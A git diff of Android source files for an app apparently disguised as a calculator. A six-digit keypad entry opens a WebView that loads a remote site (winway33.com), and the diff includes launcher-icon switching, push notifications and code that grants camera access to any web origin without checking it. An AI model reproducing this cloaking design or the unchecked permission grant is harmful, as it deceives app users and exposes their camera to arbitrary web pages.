3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + @Override + public void onPermissionRequest(PermissionRequest request) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + MainActivity2.this.runOnUiThread(new Runnable() { + @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public void run() { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); + } + + } + } + + + } + }); + + + } + + } + + }; + + private PermissionRequest permissionRequest; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + public class JavaScriptinterface { + Context context; + + public JavaScriptinterface(Context c) { + context = c; + } + + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + case 1111: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && permissionRequest != null) { + permissionRequest.grant(permissionRequest.getResources()); + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + /** + * 设置网页中图片的点击事件 + * + * @param view + */ + public static void setWebImageClick(WebView view, String method) { + + + } + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 + webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } + + @Override + protected void onResume() { + super.onResume(); + + + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + /** + * 获取状态栏高度 + * + * @return + */ + public int getStatusBarHeight() { + int result = 0; + //获取状态栏高度的资源id + int resourceId = getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = getResources().getDimensionPixelSize(resourceId); + } + return result; + } + //wp-caption alignnone + + +} diff --git a/winway/src/main/java/winway/calculcator/MainActivity3.java b/winway/src/main/java/winway/calculcator/MainActivity3.java new file mode 100644 index 0000000..c5910f3 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/MainActivity3.java @@ -0,0 +1,568 @@ +package winway.calculcator; + +import android.annotation.SuppressLint; +import android.annotation.TargetApi; +import android.app.Activity; +import android.app.DownloadManager; +import android.content.ActivityNotFoundException; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Environment; +import android.os.Message; +import android.text.TextUtils; +import android.util.Log; +import android.view.KeyEvent; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.webkit.DownloadListener; +import android.webkit.ValueCallback; +import com.just.agentweb.WebChromeClient; +import android.webkit.WebResourceError; +import android.webkit.WebResourceRequest; +import android.webkit.WebSettings; +import android.webkit.WebView; +import com.just.agentweb.WebViewClient; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.RelativeLayout; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; + +import java.util.HashMap; +import java.util.Map; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +import com.just.agentweb.AgentWeb; +//import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +//import com.tencent.smtt.sdk.DownloadListener; +//import com.tencent.smtt.sdk.URLUtil; +//import com.tencent.smtt.sdk.ValueCallback; +//import com.tencent.smtt.sdk.WebChromeClient; +//import com.tencent.smtt.sdk.WebSettings; +//import com.tencent.smtt.sdk.WebView; +//import com.tencent.smtt.sdk.WebViewClient; + + +public class MainActivity3 extends AppCompatActivity { + LinearLayout webView; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + + String downloadImageUrl = ""; + private int requestCode; + private String[] permissions; + private int[] grantResults; + private View topVvvv; + private int index = 0; + private FrameLayout videoContainer; + + private ImageView backIv; + private ProgressBar progressBar; + + AgentWeb mAgentWeb; + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { + + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main3); + initView(); +// setopHeight(); + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + } + + public void hideStatusBar(Activity activity) { + if (activity == null) return; + Window window = activity.getWindow(); + if (window == null) return; + window.setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); + window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + WindowManager.LayoutParams lp = window.getAttributes(); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) { + lp.layoutInDisplayCutoutMode = WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES; + } + window.setAttributes(lp); + } + + + @Override + public void onBackPressed() { + +// if (mAgentWeb.canGoBack()) {//当webview有多级能返回的时候 +// // 在首页 就退出这个页面 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// +// Intent intent = new Intent(this, MainActivity.class); +// startActivity(intent); +// super.onBackPressed(); +// } else { //不在首页 回到首页 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// isAtGame = false; +// } +// topVvvv.setVisibility(View.GONE); +// progressBar.setVisibility(View.VISIBLE); +// webView.loadUrl(url); +// } +// } else {//不能返回了 +// +// //返回计算器 +// Intent intent = new Intent(this, MainActivity.class); +// startActivity(intent); +//// } + super.onBackPressed(); +// } + } + + /** + * 修改图标和名称的方法 + */ + public void changeIcon() { + PackageManager pm = getApplicationContext().getPackageManager(); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "winway.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "winway.calculcator.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + } + + private void setopHeight() { + RelativeLayout.LayoutParams linearParams = (RelativeLayout.LayoutParams) topVvvv.getLayoutParams(); //取控件textView当前的布局参数 + linearParams.height = getStatusBarHeight();// 控件的宽强制设成30 + + topVvvv.setLayoutParams(linearParams); + } + + //https://m.xiannvtu.com/ + public static String url = "http://winway33.com/"; + + // https://telegram.2ltop.com/url.json?rand=111111111 + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + //然后通过一个函数来申请 + public static void verifyStoragePermissions(Activity activity) { + + // 没有写的权限,去申请写的权限,会弹出对话框 + ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); + + } + + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); +// topVvvvf = (RelativeLayout) findViewById(R.id.top_vvvvf); +// topVvvv1 = (StatusLayout) findViewById(R.id.top_vvvv1); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + +// WebSettings settings = webView.getSettings(); +// settings.setDomStorageEnabled(true); +// settings.setAppCacheEnabled(true); +// settings.setCacheMode(WebSettings.LOAD_DEFAULT); +// settings.setJavaScriptEnabled(true); +// settings.setLoadWithOverviewMode(true); +// // 设置允许访问文件数据 +// settings.setAllowFileAccess(true); +// settings.setAllowContentAccess(true); +// settings.setDatabaseEnabled(true); +// settings.setSavePassword(false); +// settings.setSaveFormData(false); +// settings.setUseWideViewPort(true); +// settings.setBuiltInZoomControls(true); +// settings.setPluginState(WebSettings.PluginState.ON); +// settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); +// webView.setFocusable(true); +// webView.setFocusableInTouchMode(true); +// webView.getSettings().setSupportMultipleWindows(true); +// +// settings.setSupportZoom(false); +// webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +//// webView.setHorizontalScrollbarOverlay(true); +// webView.setHorizontalScrollBarEnabled(true); +// webView.requestFocus(); +//// webView.setBackgroundColor(getColor(R.color.black)); +// settings.setJavaScriptCanOpenWindowsAutomatically(true); +// +// // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowFileAccessFromFileURLs(true); +// // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowUniversalAccessFromFileURLs(true); +// +// +// webView.setWebChromeClient(webChromeClient); +// webView.setWebViewClient(webViewClient); +// Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); +// +//// new Handler().postDelayed(() -> showTopLy.setVisibility(View.GONE), 3000); +//// verifyStoragePermissions(this); +// +// webView.setDownloadListener(new DownloadListener() { +// @Override +// public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { +// LogUtils.i("URL是啥onDownloadStart:" + url); +// +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url)); +// startActivity(intent); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// +// } +// }); + getNetUrl(); + } + public void getNetUrl(){ +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("URL是啥获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// MainActivity.saveString(MainActivity3.this,"base_url",o.url); +// url = MainActivity.getString(MainActivity3.this, "base_url", url); +// toUrl(url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// url = MainActivity.getString(MainActivity3.this, "base_url", url); +// toUrl(url); +// } +// }); + } + + private void toUrl(String url) { + mAgentWeb = AgentWeb.with(this) + .setAgentWebParent( webView, new LinearLayout.LayoutParams(-1, -1)) + .useDefaultIndicator() + .setWebViewClient(webViewClient) + .setWebChromeClient(webChromeClient) + .createAgentWeb() + + .ready() + .go(url); + + } + + + WebViewClient webViewClient = new WebViewClient() { + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + showTopLy.setVisibility(View.GONE); + + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + + } else { + if (isAtGame) { + topVvvv.setVisibility(View.VISIBLE); + } else { + topVvvv.setVisibility(View.GONE); + + } + } + + } +// @Override +// public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { +// super.onReceivedError(view, request, error); +// if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { +// int errorCode = error.getErrorCode(); +// String errorMessage = error.getDescription().toString(); +// Log.i("CustomWebViewClient", "onReceivedError errorCode : " + errorCode + " errorMessage : " + errorMessage); +// } +// progressBar.setVisibility(View.GONE); +// } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + Log.i("CustomWebViewClient", "onReceivedError errorCode : " + errorCode + " description : " + description); + } + progressBar.setVisibility(View.GONE); + + } + +// @Override +// public boolean shouldOverrideUrlLoading(WebView webView, String s) { +// LogUtils.i("URL是啥:"+s); +// return super.shouldOverrideUrlLoading(webView, s); +// } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + }else{ + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return true; + } + }; + + boolean isAtGame = false; + // String uuid = "", uuid1 = ""; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { +// @Override +// public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { +// LogUtils.i("URL是啥onCreateWindow:" + webViewdd.getUrl()); +// +// WebView newWebView = new WebView(MainActivity3.this); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; +// mAgentWeb.getUrlLoader().loadUrl(url); +// return true; +// } +// }); +// return true; +// } + + + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + return super.onCreateWindow(view, isDialog, isUserGesture, resultMsg); + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + } + + + }; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + public class JavaScriptinterface { + Context context; + + public JavaScriptinterface(Context c) { + context = c; + } + + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + /** + * 设置网页中图片的点击事件 + * + * @param view + */ + public static void setWebImageClick(WebView view, String method) { + + + } + + +// @Override +// public boolean onKeyDown(int keyCode, KeyEvent event) { +// +// if (keyCode == KeyEvent.KEYCODE_BACK) { +// +// if (webView.canGoBack()) { +// webView.goBack(); +// return true; +// } else { +// return super.onKeyDown(keyCode, event); +// +// } +// +// } +// return super.onKeyDown(keyCode, event); +// } + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 +// webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); +// //清除历史记录 +// webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + mAgentWeb.destroy(); + } + super.onDestroy(); + } + + @Override + protected void onResume() { + super.onResume(); + + + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + /** + * 获取状态栏高度 + * + * @return + */ + public int getStatusBarHeight() { + int result = 0; + //获取状态栏高度的资源id + int resourceId = getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = getResources().getDimensionPixelSize(resourceId); + } + return result; + } + //wp-caption alignnone + + +} diff --git a/winway/src/main/java/winway/calculcator/MessageInfo.java b/winway/src/main/java/winway/calculcator/MessageInfo.java new file mode 100644 index 0000000..95f98ff --- /dev/null +++ b/winway/src/main/java/winway/calculcator/MessageInfo.java @@ -0,0 +1,34 @@ +package winway.calculcator; + +import java.io.Serializable; + +public class MessageInfo implements Serializable { + + private String title; + private String content; + private String image; + + public String getTitle() { + return title; + } + + public void setTitle(String title) { + this.title = title; + } + + public String getContent() { + return content; + } + + public void setContent(String content) { + this.content = content; + } + + public String getImage() { + return image; + } + + public void setImage(String image) { + this.image = image; + } +} diff --git a/winway/src/main/java/winway/calculcator/MyFirebaseMessageingService.java b/winway/src/main/java/winway/calculcator/MyFirebaseMessageingService.java new file mode 100644 index 0000000..7a6d02b --- /dev/null +++ b/winway/src/main/java/winway/calculcator/MyFirebaseMessageingService.java @@ -0,0 +1,82 @@ +package winway.calculcator; + +import android.app.Notification; +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.ContentResolver; +import android.content.Context; +import android.content.Intent; +import android.net.Uri; +import android.os.Build; + +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; + +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; + +import java.util.Map; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + //收到通知 创建notify + //收到通知 创建notify + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo.getTitle(), messageInfo.getContent()); + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + + if (remoteMessage.getNotification() != null) { //firebase 平台 +// + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + + } + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity2.class); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notifyIntent, PendingIntent.FLAG_ONE_SHOT); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel("winway", "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.winway) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, "winway") + .setSmallIcon(R.mipmap.winway) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + +} diff --git a/winway/src/main/java/winway/calculcator/Result.java b/winway/src/main/java/winway/calculcator/Result.java new file mode 100644 index 0000000..5fd95e1 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/Result.java @@ -0,0 +1,29 @@ +package winway.calculcator; + + +import java.io.Serializable; + +/** + * created by wmm on 2020/9/8 + */ +public class Result implements Serializable { + + public String error; + public int code; + public T data; + public String message; + + + public boolean isSuccessful() { + return code == 1; + } + + @Override + public String toString() { + return "Result{" + + "message='" + error + '\'' + + ", code=" + code + + ", data=" + GsonUtils.beanToJSONString(data) + + '}'; + } +} diff --git a/winway/src/main/java/winway/calculcator/StartActivity.java b/winway/src/main/java/winway/calculcator/StartActivity.java new file mode 100644 index 0000000..c6124eb --- /dev/null +++ b/winway/src/main/java/winway/calculcator/StartActivity.java @@ -0,0 +1,233 @@ +package winway.calculcator; + +import android.app.AlarmManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.os.Bundle; +import android.os.Handler; +import android.text.TextUtils; +import android.util.Log; +import android.util.TypedValue; +import android.view.View; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.widget.TextViewCompat; + +import java.math.BigDecimal; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +public class StartActivity extends AppCompatActivity implements View.OnClickListener { + + + private StringBuilder currentInput = new StringBuilder(""); + private BigDecimal currentAnswer = new BigDecimal(0); + private boolean hasCount = false; + private Button btn_0, btn_1, btn_2, btn_3, btn_4, btn_5, btn_6, btn_7, btn_8, btn_9, btn_equal; + private TextView password1; + private TextView password2; + private TextView password3; + private TextView password4; + private TextView password5; + private TextView password6; + + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_start); + + setListener(); + getNetUrl(); + + } + + public void setListener() { + + + password1 = (TextView) findViewById(R.id.password_1); + password2 = (TextView) findViewById(R.id.password_2); + password3 = (TextView) findViewById(R.id.password_3); + password4 = (TextView) findViewById(R.id.password_4); + password5 = (TextView) findViewById(R.id.password_5); + password6 = (TextView) findViewById(R.id.password_6); + + + btn_0 = (Button) findViewById(R.id.btn_0); + btn_0.setOnClickListener(this); + btn_1 = (Button) findViewById(R.id.btn_1); + btn_1.setOnClickListener(this); + btn_2 = (Button) findViewById(R.id.btn_2); + btn_2.setOnClickListener(this); + btn_3 = (Button) findViewById(R.id.btn_3); + btn_3.setOnClickListener(this); + btn_4 = (Button) findViewById(R.id.btn_4); + btn_4.setOnClickListener(this); + btn_5 = (Button) findViewById(R.id.btn_5); + btn_5.setOnClickListener(this); + btn_6 = (Button) findViewById(R.id.btn_6); + btn_6.setOnClickListener(this); + btn_7 = (Button) findViewById(R.id.btn_7); + btn_7.setOnClickListener(this); + btn_8 = (Button) findViewById(R.id.btn_8); + btn_8.setOnClickListener(this); + btn_9 = (Button) findViewById(R.id.btn_9); + btn_9.setOnClickListener(this); + + btn_equal = (Button) findViewById(R.id.btn_equal); + btn_equal.setOnClickListener(this); + } + + String password = ""; + + /** + * 0 正常增加 1 删除 2 更新 + * + * @param string + * @param type + */ + public void addInput(String string, int type) { + if (type == 0) { + if (password.length() < 6) { + password += string; + } + } else if (type == 1) { + password = password.substring(0, password.length() - 1); + } + if (password.length() == 6) { + password6.setText(password.charAt(5) + ""); + toNext(); + } else { + password6.setText(""); + if (password.length() == 5) { + password5.setText(password.charAt(4) + ""); + } else { + password5.setText(""); + if (password.length() == 4) { + password4.setText(password.charAt(3) + ""); + } else { + password4.setText(""); + if (password.length() == 3) { + password3.setText(password.charAt(2) + ""); + } else { + password3.setText(""); + if (password.length() == 2) { + password2.setText(password.charAt(1) + ""); + } else { + password2.setText(""); + if (password.length() == 1) { + password1.setText(password.charAt(0) + ""); + } else { + password1.setText(""); + } + } + } + } + } + } + } + + public void getNetUrl(){ +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// MainActivity.saveString(StartActivity.this,"base_url",o.url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); + } + + Handler handler = new Handler(); + + private void toNext() { + MainActivity.saveString(StartActivity.this, "loc_pass", password); + Intent intent = new Intent(StartActivity.this, MainActivity2.class); +// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(intent); + finish(); + + } + + + + @Override + public void onClick(View v) { + switch (v.getId()) { + case R.id.btn_0: + addInput("0", 0); + break; + case R.id.btn_1: + addInput("1", 0); + break; + case R.id.btn_2: + addInput("2", 0); + break; + case R.id.btn_3: + addInput("3", 0); + break; + case R.id.btn_4: + addInput("4", 0); + break; + case R.id.btn_5: + addInput("5", 0); + break; + case R.id.btn_6: + addInput("6", 0); + break; + case R.id.btn_7: + addInput("7", 0); + break; + case R.id.btn_8: + addInput("8", 0); + break; + case R.id.btn_9: + addInput("9", 0); + break; + + case R.id.btn_equal: + deleteInput(); + break; + } + } + + private void deleteInput() { + if (TextUtils.isEmpty(password)) { + addInput("", 2); + } else { + addInput(password, 1); + } + } + + @Override + protected void onDestroy() { + super.onDestroy(); + } +} \ No newline at end of file diff --git a/winway/src/main/java/winway/calculcator/StatusLayout.java b/winway/src/main/java/winway/calculcator/StatusLayout.java new file mode 100644 index 0000000..3fffdb7 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/StatusLayout.java @@ -0,0 +1,44 @@ +package winway.calculcator; + +import android.content.Context; +import android.util.AttributeSet; +import android.view.ViewGroup; +import android.widget.LinearLayout; + +import androidx.annotation.Nullable; + +/** + * Created by kiun_2007 on 2018/3/29. + */ + +public class StatusLayout extends LinearLayout { + public StatusLayout(Context context) { + this(context, null); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs) { + this(context, attrs, 0); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + } + + private int getStatusBarHeight(Context context) { + int result = 0; + int resourceId = context.getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = context.getResources().getDimensionPixelSize(resourceId); + } + return result; + } + + @Override + protected void onAttachedToWindow() { + ViewGroup.LayoutParams lp = this.getLayoutParams(); + lp.width = -1; + lp.height = getStatusBarHeight(getContext()); + this.setLayoutParams(lp); + super.onAttachedToWindow(); + } +} diff --git 